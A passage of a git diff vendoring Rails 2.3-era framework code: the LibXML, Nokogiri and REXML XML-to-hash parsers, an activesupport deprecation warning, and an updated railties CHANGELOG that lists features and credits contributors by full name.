+            children_yaml_to_hash(sub_hash)
+          else
+            children_to_hash(sub_hash)
+          end
+        end
+        hash
+      end
+
+      protected
+
+        # Insert name into hash
+        #
+        # hash::
+        #   Hash to merge the converted element into.
+        # name::
+        #   name to to merge into hash
+        def insert_name_into_hash(hash, name)
+          sub_hash = {}
+          if hash[name]
+            if !hash[name].kind_of? Array
+              hash[name] = [hash[name]]
+            end
+            hash[name] << sub_hash
+          else
+            hash[name] = sub_hash
+          end
+          sub_hash
+        end
+
+        # Insert children into hash
+        #
+        # hash::
+        #   Hash to merge the children into.
+        def children_to_hash(hash={})
+          each { |child| child.to_hash(hash) }
+          attributes_to_hash(hash)
+          hash
+        end
+
+        # Convert xml attributes to hash
+        #
+        # hash::
+        #   Hash to merge the attributes into
+        def attributes_to_hash(hash={})
+          each_attr { |attr| hash[attr.name] = attr.value }
+          hash
+        end
+
+        # Convert array into hash
+        #
+        # hash::
+        #   Hash to merge the array into
+        def children_array_to_hash(hash={})
+          hash[child.name] = map do |child|
+            returning({}) { |sub_hash| child.children_to_hash(sub_hash) }
+          end
+          hash
+        end
+
+        # Convert yaml into hash
+        #
+        # hash::
+        #   Hash to merge the yaml into
+        def children_yaml_to_hash(hash = {})
+          hash[CONTENT_ROOT] = content unless content.blank?
+          hash
+        end
+
+        # Check if child is of type array
+        def array?
+          child? && child.next? && child.name == child.next.name
+        end
+
+        # Check if child is of type yaml
+        def yaml?
+          attributes.collect{|x| x.value}.include?('yaml')
+        end
+
+    end
+  end
+end
+
+LibXML::XML::Document.send(:include, LibXML::Conversions::Document)
+LibXML::XML::Node.send(:include, LibXML::Conversions::Node)
diff --git a/vendor/rails/activesupport/lib/active_support/xml_mini/nokogiri.rb b/vendor/rails/activesupport/lib/active_support/xml_mini/nokogiri.rb
new file mode 100644
index 00000000..f3c64c6a
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/xml_mini/nokogiri.rb
@@ -0,0 +1,69 @@
+require 'nokogiri'
+
+# = XmlMini Nokogiri implementation
+module ActiveSupport
+  module XmlMini_Nokogiri #:nodoc:
+    extend self
+
+    # Parse an XML Document string into a simple hash using libxml / nokogiri.
+    # string::
+    #   XML Document string to parse
+    def parse(string)
+      if string.blank?
+        {}
+      else
+        doc = Nokogiri::XML(string) { |cfg| cfg.noblanks }
+        raise doc.errors.first if doc.errors.length > 0
+        doc.to_hash
+      end
+    end
+
+    module Conversions
+      module Document
+        def to_hash
+          root.to_hash
+        end
+      end
+
+      module Node
+        CONTENT_ROOT = '__content__'
+
+        # Convert XML document to hash
+        #
+        # hash::
+        #   Hash to merge the converted element into.
+        def to_hash(hash = {})
+          attributes = attributes_as_hash
+          if hash[name]
+            hash[name] = [hash[name]].flatten
+            hash[name] << attributes
+          else
+            hash[name] ||= attributes
+          end
+
+          children.each { |child|
+            next if child.blank? && 'file' != self['type']
+
+            if child.text? || child.cdata?
+              (attributes[CONTENT_ROOT] ||= '') << child.content
+              next
+            end
+
+            child.to_hash attributes
+          }
+
+          hash
+        end
+
+        def attributes_as_hash
+          Hash[*(attribute_nodes.map { |node|
+            [node.node_name, node.value]
+          }.flatten)]
+        end
+      end
+    end
+
+    Nokogiri::XML::Document.send(:include, Conversions::Document)
+    Nokogiri::XML::Node.send(:include, Conversions::Node)
+  end
+end
diff --git a/vendor/rails/activesupport/lib/active_support/xml_mini/rexml.rb b/vendor/rails/activesupport/lib/active_support/xml_mini/rexml.rb
new file mode 100644
index 00000000..a8fdeca9
--- /dev/null
+++ b/vendor/rails/activesupport/lib/active_support/xml_mini/rexml.rb
@@ -0,0 +1,108 @@
+# = XmlMini ReXML implementation
+module ActiveSupport
+  module XmlMini_REXML #:nodoc:
+    extend self
+
+    CONTENT_KEY = '__content__'.freeze
+
+    # Parse an XML Document string into a simple hash
+    #
+    # Same as XmlSimple::xml_in but doesn't shoot itself in the foot,
+    # and uses the defaults from ActiveSupport
+    #
+    # string::
+    #   XML Document string to parse
+    def parse(string)
+      require 'rexml/document' unless defined?(REXML::Document)
+      doc = REXML::Document.new(string)
+      merge_element!({}, doc.root)
+    end
+
+    private
+      # Convert an XML element and merge into the hash
+      #
+      # hash::
+      #   Hash to merge the converted element into.
+      # element::
+      #   XML element to merge into hash
+      def merge_element!(hash, element)
+        merge!(hash, element.name, collapse(element))
+      end
+
+      # Actually converts an XML document element into a data structure.
+      #
+      # element::
+      #   The document element to be collapsed.
+      def collapse(element)
+        hash = get_attributes(element)
+
+        if element.has_elements?
+          element.each_element {|child| merge_element!(hash, child) }
+          merge_texts!(hash, element) unless empty_content?(element)
+          hash
+        else
+          merge_texts!(hash, element)
+        end
+      end
+
+      # Merge all the texts of an element into the hash
+      #
+      # hash::
+      #   Hash to add the converted emement to.
+      # element::
+      #   XML element whose texts are to me merged into the hash
+      def merge_texts!(hash, element)
+        unless element.has_text?
+          hash
+        else
+          # must use value to prevent double-escaping
+          merge!(hash, CONTENT_KEY, element.texts.sum(&:value))
+        end
+      end
+
+      # Adds a new key/value pair to an existing Hash. If the key to be added
+      # already exists and the existing value associated with key is not
+      # an Array, it will be wrapped in an Array. Then the new value is
+      # appended to that Array.
+      #
+      # hash::
+      #   Hash to add key/value pair to.
+      # key::
+      #   Key to be added.
+      # value::
+      #   Value to be associated with key.
+      def merge!(hash, key, value)
+        if hash.has_key?(key)
+          if hash[key].instance_of?(Array)
+            hash[key] << value
+          else
+            hash[key] = [hash[key], value]
+          end
+        elsif value.instance_of?(Array)
+          hash[key] = [value]
+        else
+          hash[key] = value
+        end
+        hash
+      end
+
+      # Converts the attributes array of an XML element into a hash.
+      # Returns an empty Hash if node has no attributes.
+      #
+      # element::
+      #   XML element to extract attributes from.
+      def get_attributes(element)
+        attributes = {}
+        element.attributes.each { |n,v| attributes[n] = v }
+        attributes
+      end
+
+      # Determines if a document element has text content
+      #
+      # element::
+      #   XML element to be checked.
+      def empty_content?(element)
+        element.texts.join.blank?
+      end
+  end
+end
diff --git a/vendor/rails/activesupport/lib/activesupport.rb b/vendor/rails/activesupport/lib/activesupport.rb
index 69f36f79..9cae13f0 100644
--- a/vendor/rails/activesupport/lib/activesupport.rb
+++ b/vendor/rails/activesupport/lib/activesupport.rb
@@ -1 +1,2 @@
 require 'active_support'
+ActiveSupport::Deprecation.warn 'require "activesupport" is deprecated and will be removed in Rails 3. Use require "active_support" instead.'
diff --git a/vendor/rails/railties/CHANGELOG b/vendor/rails/railties/CHANGELOG
index 301394ba..a94249b6 100644
--- a/vendor/rails/railties/CHANGELOG
+++ b/vendor/rails/railties/CHANGELOG
@@ -1,10 +1,111 @@
-*2.2 (November 21st, 2008)*
+*Edge*
 
-* Added config.i18n settings gatherer to config/environment, auto-loading of all locales in config/locales/*.rb,yml, and config/locales/en.yml as a sample locale [DHH]
+* Fixed that the debugger wouldn't go into IRB mode because of left-over ARGVs [DHH]
+
+* 1.9 compatibility
+
+*2.3.4 (September 4, 2009)*
+
+* I18n support for plugins.  #2325 [Antonio Tapiador, Sven Fuchs]
+
+
+*2.3.3 (July 12 2009)
+
+* Version bump
+
+
+*2.3.2 [Final] (March 15, 2009)*
+
+* Allow metal to live in plugins #2045 [Matthew Rudy]
+
+* Added metal [Josh Peek]
+
+* Remove script/performance/request in favour of the performance integration tests. [Pratik Naik]
+
+  To continue using script/performance/request, install the request_profiler plugin :
+
+    script/plugin install git://github.com/rails/request_profiler.git
+
+* Add a rake task to apply a template to an existing application : rake rails:template LOCATION=~/template.rb [Pratik Naik]
+
+* Add "-m/--template" option to Rails generator to apply a template to the generated application. [Jeremy McAnally]
+
+    This has been extracted from rg - http://github.com/jeremymcanally/rg
+    
+    Example:
+    
+        # template.rb
+        
+        # Install plugins from git or svn
+        plugin "will-paginate", :git => "git://github.com/mislav/will_paginate.git"
+        plugin "old-restful-auth", :svn => "http://svn.techno-weenie.net/projects/plugins/restful_authentication/"
+    
+        # Add gems to environment.rb
+        gem "jeremymcanally-context"
+        gem "bluecloth"
+    
+        # Vendor file. Data in a string or...
+        vendor("borrowed.rb", <<CODE
+          def helpful_method
+            do_something_helpful_here
+          end
+        CODE
+    
+        # ...file data from block return value.
+        # #initializer creates a new initializer file
+        initializer("crypto.rb") do
+          salt = "--#{Time.now}--#{rand}--#{srand(Time.now.to_i)}"
+    
+          "SPECIAL_SALT = '#{salt}'"
+        end
+    
+    Usage:
+    
+      To use a template, provide a file path or URL:
+    
+      1. Using a local file :
+
+        rails <application name> -m /path/to/my/template.rb
+        
+      2. Or directly from a URL :
+
+        rails <application name> --template=http://gist.github.com/31208.txt
+
+* Extracted the process scripts (inspector, reaper, spawner) into the plugin irs_process_scripts [David Heinemeier Hansson]
+
+* Changed Rails.root to return a Pathname object (allows for Rails.root.join('app', 'controllers') => "#{RAILS_ROOT}/app/controllers") #1482 [Damian Janowski/?]
+
+* Added view path support for engines [David Heinemeier Hansson]
+
+* Added that config/routes.rb files in engine plugins are automatically loaded (and reloaded when they change in dev mode) [David Heinemeier Hansson]
+
+* Added app/[models|controllers|helpers] to the load path for plugins that has an app directory (go engines ;)) [David Heinemeier Hansson]
+
+* Add config.preload_frameworks to load all frameworks at startup. Default to false so Rails autoloads itself as it's used. Turn this on for Passenger and JRuby. Also turned on by config.threadsafe!  [Jeremy Kemper]
+
+* Add a rake task to generate dispatchers : rake rails:generate_dispatchers [Pratik Naik]
+
+* "rails <app>" will not generate public/dispatch.cgi/fcgi/rb files by default now. Please use "--with-dispatchers" option if you need them. [Yaroslav Markin, Pratik Naik]
+
+* Added rake rails:update:application_controller to renamed application.rb to application_controller.rb -- included in rake rails:update so upgrading to 2.3 will automatically trigger it #1439 [kastner]
+
+* Added Rails.backtrace_cleaner as an accessor for the Rails::BacktraceCleaner instance used by the framework to cut down on backtrace noise and config/initializers/backtrace_silencers.rb to add your own (or turn them all off) [David Heinemeier Hansson]
+
+* Switch from Test::Unit::TestCase to ActiveSupport::TestCase.  [Jeremy Kemper]
+
+* Added config.i18n settings gatherer to config/environment, auto-loading of all locales in config/locales/*.rb,yml, and config/locales/en.yml as a sample locale [David Heinemeier Hansson]
+
+* BACKWARDS INCOMPATIBLE: Renamed application.rb to application_controller.rb and removed all the special casing that was in place to support the former. You must do this rename in your own application when you upgrade to this version [David Heinemeier Hansson]
+
+
+*2.2.1 [RC2] (November 14th, 2008)*
 
 * Fixed plugin generator so that generated unit tests would subclass ActiveSupport::TestCase, also introduced a helper script to reduce the needed require statements #1137 [Mathias Meyer]
 
-* Update Prototype to 1.6.0.4 [sam]
+* Update Prototype to 1.6.0.3 [sam]
+
+
+*2.2.0 [RC1] (October 24th, 2008)*
 
 * Fixed that sqlite would report "db/development.sqlite3 already exists" whether true or not on db:create #614 [Antonio Cangiano]
 
@@ -35,9 +136,9 @@
 
 * Plugins check for the gem init path (rails/init.rb) before the standard plugin init path (init.rb)  [Jacek Becela]
 
-* Changed all generated tests to use the test/do declaration style [DHH]
+* Changed all generated tests to use the test/do declaration style [David Heinemeier Hansson]
 
-* Wrapped Rails.env in StringInquirer so you can do Rails.env.development? [DHH]
+* Wrapped Rails.env in StringInquirer so you can do Rails.env.development? [David Heinemeier Hansson]
 
 * Fixed that RailsInfoController wasn't considering all requests local in development mode (Edgard Castro) [#310 state:resolved]
 
@@ -52,13 +153,13 @@
 
 * Rails Edge info returns the latest git commit hash [Francesc Esplugas]
 
-* Added Rails.public_path to control where HTML and assets are expected to be loaded from (defaults to Rails.root + "/public") #11581 [nicksieger]
+* Added Rails.public_path to control where HTML and assets are expected to be loaded from (defaults to Rails.root + "/public") #11581 [Nick Sieger]
 
 * rake time:zones:local finds correct base utc offset for zones in the Southern Hemisphere [Geoff Buesing]
 
-* Don't require rails/gem_builder during rails initialization, it's only needed for the gems:build task. [rick]
+* Don't require rails/gem_builder during rails initialization, it's only needed for the gems:build task. [Rick Olson]
 
-* script/performance/profiler compatibility with the ruby-prof >= 0.5.0. Closes #9176. [Catfish]
+* script/performance/profiler compatibility with the ruby-prof >= 0.5.0. Closes #9176. [Jonathan del Strother]
 
 * Flesh out rake gems:unpack to unpack all gems, and add rake gems:build for native extensions. #11513 [ddollar]
 
@@ -68,11 +169,11 @@
   rake gems:build              # builds all unpacked gems
   rake gems:build GEM=mygem    # builds only the gem 'mygem'
 
-* Add config.active_support for future configuration options.  Also, add more new Rails 3 config settings to new_rails_defaults.rb [rick]
+* Add config.active_support for future configuration options.  Also, add more new Rails 3 config settings to new_rails_defaults.rb [Rick Olson]
 
-* Add Rails.logger, Rails.root, Rails.env and Rails.cache shortcuts for RAILS_* constants [pratik]
+* Add Rails.logger, Rails.root, Rails.env and Rails.cache shortcuts for RAILS_* constants [Pratik Naik]
 
-* Allow files in plugins to be reloaded like the rest of the application.  [rick]
+* Allow files in plugins to be reloaded like the rest of the application.  [Rick Olson]
 
   Enables or disables plugin reloading.
   
@@ -87,7 +188,7 @@
   
     Dependencies.load_once_paths << lib_path
 
-* Small tweak to allow plugins to specify gem dependencies.  [rick]
+* Small tweak to allow plugins to specify gem dependencies.  [Rick Olson]
 
   # OLD open_id_authentication plugin init.rb
   require 'yadis'
@@ -102,7 +203,7 @@
     ActionController::Base.send :include, OpenIdAuthentication
   end
 
-* Added config.gem for specifying which gems are required by the application, as well as rake tasks for installing and freezing gems. [rick]
+* Added config.gem for specifying which gems are required by the application, as well as rake tasks for installing and freezing gems. [Rick Olson]
 
   Rails::Initializer.run do |config|
     config.gem "bj"
@@ -119,23 +220,23 @@
   # Unpack specified gem to vendor/gems/gem_name-x.x.x
   rake gems:unpack GEM=bj
 
-* Removed the default .htaccess configuration as there are so many good deployment options now (kept it as an example in README) [DHH]
+* Removed the default .htaccess configuration as there are so many good deployment options now (kept it as an example in README) [David Heinemeier Hansson]
 
 * config.time_zone accepts TZInfo::Timezone identifiers as well as Rails TimeZone identifiers [Geoff Buesing]
 
 * Rails::Initializer#initialize_time_zone raises an error if value assigned to config.time_zone is not recognized. Rake time zone tasks only require ActiveSupport instead of entire environment [Geoff Buesing]
 
-* Stop adding the antiquated test/mocks/* directories and only add them to the path if they're still there for legacy reasons [DHH]
+* Stop adding the antiquated test/mocks/* directories and only add them to the path if they're still there for legacy reasons [David Heinemeier Hansson]
 
-* Added that gems can now be plugins if they include rails/init.rb #11444 [jbarnette]
+* Added that gems can now be plugins if they include rails/init.rb #11444 [John Barnette]
 
-* Added Plugin#about method to programmatically access the about.yml in a plugin #10979 [lazyatom]
+* Added Plugin#about method to programmatically access the about.yml in a plugin #10979 [James Adam]
 
     plugin = Rails::Plugin.new(path_to_my_plugin)
     plugin.about["author"] # => "James Adam"
     plugin.about["url"] # => "http://interblah.net"
 
-* Improve documentation. [Radar, Jan De Poorter, chuyeow, xaviershay, danger, miloops, Xavier Noria,  Sunny Ripert]
+* Improve documentation. [Ryan Bigg, Jan De Poorter, Cheah Chu Yeow, Xavier Shay, Jack Danger Canty, Emilio Tagua, Xavier Noria,  Sunny Ripert]
 
 * Added config.time_zone = 'UTC' in the default environment.rb [Geoff Buesing]
 
@@ -143,7 +244,7 @@
 
 * Add config.time_zone for configuring the default Time.zone value.  #10982 [Geoff Buesing]
 
-* Added support for installing plugins hosted at git repositories #11294 [danger]
+* Added support for installing plugins hosted at git repositories #11294 [Jack Danger Canty]
 
 * Fixed that script/generate would not look for plugin generators in plugin_paths #11000 [glv]
 
@@ -151,7 +252,7 @@
 
 * Added a -e/--export to script/plugin install, uses svn export. #10847 [jon@blankpad.net)]
 
-* Reshuffle load order so that routes and observers are initialized after plugins and app initializers.  Closes #10980 [rick]
+* Reshuffle load order so that routes and observers are initialized after plugins and app initializers.  Closes #10980 [Rick Olson]
 
 * Git support for script/generate.  #10690 [ssoroka]
 
@@ -159,7 +260,7 @@
 
 * Resurrect WordNet synonym lookups.  #10710 [tom./, matt]
 
-* Added config.cache_store to environment options to control the default cache store (default is FileStore if tmp/cache is present, otherwise MemoryStore is used) [DHH]
+* Added config.cache_store to environment options to control the default cache store (default is FileStore if tmp/cache is present, otherwise MemoryStore is used) [David Heinemeier Hansson]
 
 * Added that rails:update is run when you do rails:freeze:edge to ensure you also get the latest JS and config files #10565 [jeff]
 
@@ -172,9 +273,9 @@
 
 *2.0.2* (December 16th, 2007)
 
-* Changed the default database from mysql to sqlite3, so now running "rails myapp" will have a config/database.yml that's setup for SQLite3 (which in OS X Leopard is installed by default, so is the gem, so everything Just Works with no database configuration at all). To get a Rails application preconfigured for MySQL, just run "rails -d mysql myapp" [DHH]
+* Changed the default database from mysql to sqlite3, so now running "rails myapp" will have a config/database.yml that's setup for SQLite3 (which in OS X Leopard is installed by default, so is the gem, so everything Just Works with no database configuration at all). To get a Rails application preconfigured for MySQL, just run "rails -d mysql myapp" [David Heinemeier Hansson]
 
-* Turned on ActionView::Base.cache_template_loading by default in config/environments/production.rb to prevent file system stat calls for every template loading to see if it changed (this means that you have to restart the application to see template changes in production mode) [DHH]
+* Turned on ActionView::Base.cache_template_loading by default in config/environments/production.rb to prevent file system stat calls for every template loading to see if it changed (this means that you have to restart the application to see template changes in production mode) [David Heinemeier Hansson]
 
 * Introduce `rake secret` to output a crytographically secure secret key for use with cookie sessions #10363 [revans]
 
@@ -198,19 +299,19 @@
 
 * The test task stops with a warning if you have pending migrations.  #10377 [Josh Knowles]
 
-* Add warning to documentation about using transactional fixtures when the code under test uses transactions itself. Closes #7548 [thijsv]
+* Add warning to documentation about using transactional fixtures when the code under test uses transactions itself. Closes #7548 [Thijs van der Vossen]
 
 * Update Prototype to 1.6.0.1.  [sam]
 
 * Update script.aculo.us to 1.8.0.1.  [madrobby]
 
-* Added db:fixtures:identity as a way of locating what ID a foxy fixture was assigned #10332 [jbarnette]
+* Added db:fixtures:identity as a way of locating what ID a foxy fixture was assigned #10332 [John Barnette]
 
-* Generated fixtures should not specify ids since theyre expected to be foxy fixtures #10330 [jbarnette]
+* Generated fixtures should not specify ids since theyre expected to be foxy fixtures #10330 [John Barnette]
 
 * Update to Prototype -r8232.  [sam]
 
-* Introduce SecretKeyGenerator for more secure session secrets than CGI::Session's pseudo-random id generator. Consider extracting to Active Support later.  #10286 [Hongli Lai]
+* Introduce SecretKeyGenerator for more secure session secrets than CGI::Session's pseudo-random id generator. Consider extracting to Active Support later.  #10286 [Hongli Lai (Phusion)]
 
 * RAILS_GEM_VERSION may be set to any valid gem version specifier.  #10057 [Chad Woolley, Cheah Chu Yeow]
 
@@ -220,11 +321,11 @@
 
 * Only load ActionMailer::TestCase if ActionMailer is loaded.  Closes #10137 [defunkt]
 
-* Fixed that db:reset would use migrations instead of loading db/schema.rb [DHH]
+* Fixed that db:reset would use migrations instead of loading db/schema.rb [David Heinemeier Hansson]
 
 * Ensure the plugin loader only loads plugins once.  Closes #10102 [haruki_zaemon]
 
-* Refactor Plugin Loader.  Add plugin lib paths early, and add lots of tests.  Closes #9795 [lazyatom]
+* Refactor Plugin Loader.  Add plugin lib paths early, and add lots of tests.  Closes #9795 [James Adam]
 
 * Added --skip-timestamps to generators that produce models #10036 [Tim Pope]
 
@@ -238,7 +339,7 @@
 
 * config/boot.rb correctly detects RAILS_GEM_VERSION.  #9834 [alexch, thewoolleyman]
 
-* Fixed incorrect migration number if script/generate executed outside of Rails root #7080 [jeremymcanally]
+* Fixed incorrect migration number if script/generate executed outside of Rails root #7080 [Jeremy McAnally]
 
 * Update Prototype to 1.6.0_rc1 and script.aculo.us to 1.8.0 preview 0.  [sam, madrobby]
 
@@ -251,7 +352,7 @@
 * db:create works with remote databases whereas db:create:all only creates
 databases on localhost.  #9753 [Trevor Wennblom]
 
-* Removed calls to fixtures in generated tests as fixtures :all is now present by default in test_helper.rb [DHH]
+* Removed calls to fixtures in generated tests as fixtures :all is now present by default in test_helper.rb [David Heinemeier Hansson]
 
 * Add --prefix option to script/server when using mongrel. [dacat]
 
@@ -260,13 +361,13 @@ databases on localhost.  #9753 [Trevor Wennblom]
 
 * Fixed that installing plugins from SVN repositories that use trunk/ will work #8188 [evan]
 
-* Moved the SourceAnnotationExtractor to a separate file in case libraries try to load the rails rake tasks twice. [Rick]
+* Moved the SourceAnnotationExtractor to a separate file in case libraries try to load the rails rake tasks twice. [Rick Olson]
 
 * Moved Dispatcher to ActionController::Dispatcher.  [Jeremy Kemper]
 
-* Changed the default logger from Ruby's own Logger with the clean_logger extensions to ActiveSupport::BufferedLogger for performance reasons [DHH]. (You can change it back with config.logger = Logger.new("/path/to/log", level).)
+* Changed the default logger from Ruby's own Logger with the clean_logger extensions to ActiveSupport::BufferedLogger for performance reasons [David Heinemeier Hansson]. (You can change it back with config.logger = Logger.new("/path/to/log", level).)
 
-* Added a default 422.html page to be rendered when ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved, or ActionController::InvalidAuthenticityToken is raised [DHH]
+* Added a default 422.html page to be rendered when ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved, or ActionController::InvalidAuthenticityToken is raised [David Heinemeier Hansson]
 
 * Added --skip-fixture option to script/generate model #6862 [sandofsky]
 
@@ -274,15 +375,15 @@ databases on localhost.  #9753 [Trevor Wennblom]
 
 * Fixed the placement of fixture files for nested models when generating through script/generate model #7547 [jkit]
 
-* Added TEMPLATE option to rake doc:app to set a custom output template #7737 [Jakob S]
+* Added TEMPLATE option to rake doc:app to set a custom output template #7737 [Jakob Skjerning]
 
-* Added VERBOSE option to rake db:migrate to turn off output #8204 [jbarnette]
+* Added VERBOSE option to rake db:migrate to turn off output #8204 [John Barnette]
 
 * Fixed that rake doc:app should use UTF-8 #8906 [farzy]
 
 * Fixes rake annotations to search erb and builder files as well #9150 [m.langenberg]
 
-* Removed web_service generator [Koz]
+* Removed web_service generator [Michael Koziarski]
 
 * Added the :all option to config.plugins that'll include the rest of the plugins not already explicitly named #9613 [Frederick Cheung]. Example:
 
@@ -291,11 +392,11 @@ databases on localhost.  #9753 [Trevor Wennblom]
 
 * Added symbols as a legal way of specifying plugins in config.plugins #9629 [tom]
 
-* Removed deprecated task names, like clear_logs, in favor of the new namespaced style [DHH]
+* Removed deprecated task names, like clear_logs, in favor of the new namespaced style [David Heinemeier Hansson]
 
-* Support multiple config.after_initialize blocks so plugins and apps can more easily cooperate.  #9582 [zdennis]
+* Support multiple config.after_initialize blocks so plugins and apps can more easily cooperate.  #9582 [Zach Dennis]
 
-* Added db:drop:all to drop all databases declared in config/database.yml [DHH]
+* Added db:drop:all to drop all databases declared in config/database.yml [David Heinemeier Hansson]
 
 * Use attribute pairs instead of the migration name to create add and remove column migrations.  Closes #9166 [Pratik Naik]
 
@@ -307,11 +408,11 @@ databases on localhost.  #9753 [Trevor Wennblom]
 	
 	ruby script/generation migration RemoveSomeStuffFromCustomers first_name:string last_name:string
 
-* Add ActiveResource to Rails::Info.  Closes #8741 [kampers]
+* Add ActiveResource to Rails::Info.  Closes #8741 [Chris Kampmeier]
 
 * use Gem.find_name instead of search when freezing gems.  Prevent false positives for other gems with rails in the name. Closes #8729 [wselman]
 
-* Automatically generate add/remove column commands in specially named migrations like AddLocationToEvent.  Closes #9006 [zenspider]
+* Automatically generate add/remove column commands in specially named migrations like AddLocationToEvent.  Closes #9006 [Ryan Davis]
 
 * Default to plural table name in Rails Generator if ActiveRecord is not present.  Closes #8963 [evan]
 
@@ -329,7 +430,7 @@ databases on localhost.  #9753 [Trevor Wennblom]
 
 * Fix that FCGIs would leave log files open when asked to shut down by USR2.  #3028 [Sebastian Kanthak, Josh Peek]
 
-* Fixed that dispatcher preparation callbacks only run once in production mode.  Mock Routes.reload so that dispatcher preparation callback tests run. [Rick]
+* Fixed that dispatcher preparation callbacks only run once in production mode.  Mock Routes.reload so that dispatcher preparation callback tests run. [Rick Olson]
 
 * Fix syntax error in dispatcher than wrecked failsafe responses.  #8625 [mtitorenko]
 
@@ -357,11 +458,11 @@ databases on localhost.  #9753 [Trevor Wennblom]
 
 * Generators use *.html.erb view template naming.  #8278 [Tim Pope]
 
-* Updated resource_scaffold and model generators to use short-hand style migrations [DHH]
+* Updated resource_scaffold and model generators to use short-hand style migrations [David Heinemeier Hansson]
 
 * Updated initializer to only load #{RAILS_ENV}.rb once. Added deprecation warning for config.breakpoint_server. [Nicholas Seckar]
 
-* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back [DHH]
+* Removed breakpointer and Binding.of_caller in favor of relying on ruby-debug by Kent Sibilev since the breakpointer has been broken since Ruby 1.8.4 and will not be coming back [David Heinemeier Hansson]
 
   To use the new debugger, start your server with script/server --debugger and insert a call to  'debugger'
   (instead of 'breakpoint') where you want to jump into the debugger. 
@@ -379,13 +480,13 @@ databases on localhost.  #9753 [Trevor Wennblom]
 
 * Include Active Resource in rails:freeze:edge rake task.  [Thomas Fuchs]
 
-* Include Active Resource instead of Action Web Service [DHH] You can add AWS back with this in config/environment.rb:
+* Include Active Resource instead of Action Web Service [David Heinemeier Hansson] You can add AWS back with this in config/environment.rb:
 
     config.load_paths += %W( #{RAILS_ROOT}/vendor/rails/actionwebservice/lib )
   
   ...or just gem 'actionwebservice'
 
-* Give generate scaffold a more descriptive database message.  Closes #7316 [jeremymcanally]
+* Give generate scaffold a more descriptive database message.  Closes #7316 [Jeremy McAnally]
 
 * Canonicalize RAILS_ROOT by using File.expand_path on Windows, which doesn't have to worry about symlinks, and Pathname#realpath elsewhere, which respects symlinks in relative paths but is incompatible with Windows.  #6755 [Jeremy Kemper, trevor]
 
@@ -399,19 +500,19 @@ databases on localhost.  #9753 [Trevor Wennblom]
 
 * Split plugin location and loading out of the initializer and into a new Plugin namespace, which includes Plugin::Locater and Plugin::Loader. The loader class that is used can be customized using the config.plugin_loader option.  Those monkey patching the plugin loading subsystem take note, the internals changing here will likely break your modifications. The good news is that it should be substantially easier to hook into the plugin locating and loading process now.  [Marcel Molina Jr.]
 
-* Added assumption that all plugin creators desire to be sharing individuals and release their work under the MIT license [DHH]
+* Added assumption that all plugin creators desire to be sharing individuals and release their work under the MIT license [David Heinemeier Hansson]
 
 * Added source-annotations extractor tasks to rake [Jamis Buck]. This allows you to add FIXME, OPTIMIZE, and TODO comments to your source code that can then be extracted in concert with rake notes (shows all), rake notes:fixme, rake notes:optimize and rake notes:todo.
 
-* Added fixtures :all to test_helper.rb to assume that most people just want all their fixtures loaded all the time [DHH]
+* Added fixtures :all to test_helper.rb to assume that most people just want all their fixtures loaded all the time [David Heinemeier Hansson]
 
-* Added config/initializers where all ruby files within it are automatically loaded after the Rails configuration is done, so you don't have to litter the environment.rb file with a ton of mixed stuff [DHH]
+* Added config/initializers where all ruby files within it are automatically loaded after the Rails configuration is done, so you don't have to litter the environment.rb file with a ton of mixed stuff [David Heinemeier Hansson]
 
 * For new apps, generate a random secret for the cookie-based session store.  [Jeremy Kemper]
 
-* Stop swallowing errors during rake test [Koz]
+* Stop swallowing errors during rake test [Michael Koziarski]
 
-* Update Rails Initializer to use ActionController::Base#view_paths [Rick]
+* Update Rails Initializer to use ActionController::Base#view_paths [Rick Olson]
 
 * Fix gem deprecation warnings, which also means depending on RubyGems 0.9.0+ [Chad Fowler]
 
@@ -429,12 +530,12 @@ databases on localhost.  #9753 [Trevor Wennblom]
 
 * Fixed that webrick would strip leading newlines and hang connection #4156 [psross]
 
-* Ensure plugins are in the Dependencies.load_once_paths collection by default.  [Rick]
+* Ensure plugins are in the Dependencies.load_once_paths collection by default.  [Rick Olson]
   If you really want your plugins to reload, add this to the very top of init.rb:
   
     Dependencies.load_once_paths.delete(lib_path)
 
-* Allow config.to_prepare to work, make the dispatcher safe to 're require'. [Koz, Nicholas Seckar]
+* Allow config.to_prepare to work, make the dispatcher safe to 're require'. [Michael Koziarski, Nicholas Seckar]
 
 * Fix scaffold_resource generator so it respects the --pretend argument when creating the routes file.  Closes #6852 [fearoffish]
 
@@ -444,25 +545,25 @@ databases on localhost.  #9753 [Trevor Wennblom]
 
 * Don't generate a components directory in new Rails apps.  [Jeremy Kemper]
 
-* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [DHH]
+* Fixed script/process/spawner to work properly with Mongrel including in -r (daemonize mode) [David Heinemeier Hansson]
 
-* Added one-letter aliases for the three default environments to script/console, so script/console p will load the production environment (t for test, d for development) [DHH]
+* Added one-letter aliases for the three default environments to script/console, so script/console p will load the production environment (t for test, d for development) [David Heinemeier Hansson]
 
-* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [DHH]
+* Fixed that script/server running against Mongrel should tail the proper log regardless of the environment [David Heinemeier Hansson]
 
 * Update initializer to load Rails::VERSION as soon as possible. Closes #6698. [Nicholas Seckar]
 
-* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [DHH]
+* Added ActiveRecord::Base.clear_active_connections! in development mode so the database connection is not carried over from request to request. Some databases won't reread the schema if that doesn't happen (I'm looking at you SQLite), so you have to restart the server after each migration (= no fun) [David Heinemeier Hansson]
 
-* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [DHH]
+* Made RAILS_GEM_VERSION work for beta gems too, so specifying 1.1.6 will give you 1.1.6.4520 if available [David Heinemeier Hansson]
 
 * Update to Prototype and script.aculo.us [5579]. [Thomas Fuchs]
 
-* Made script/server work with -e and -d when using Mongrel [DHH]
+* Made script/server work with -e and -d when using Mongrel [David Heinemeier Hansson]
 
 * Update to Prototype 1.5.0_rc2 [5550] which makes it work in Opera again [Thomas Fuchs]
 
-* Make sure that exceptions which are thrown outside of the user code try their best to be handeled in ApplicationController#rescue_action [Tobias Luetke]
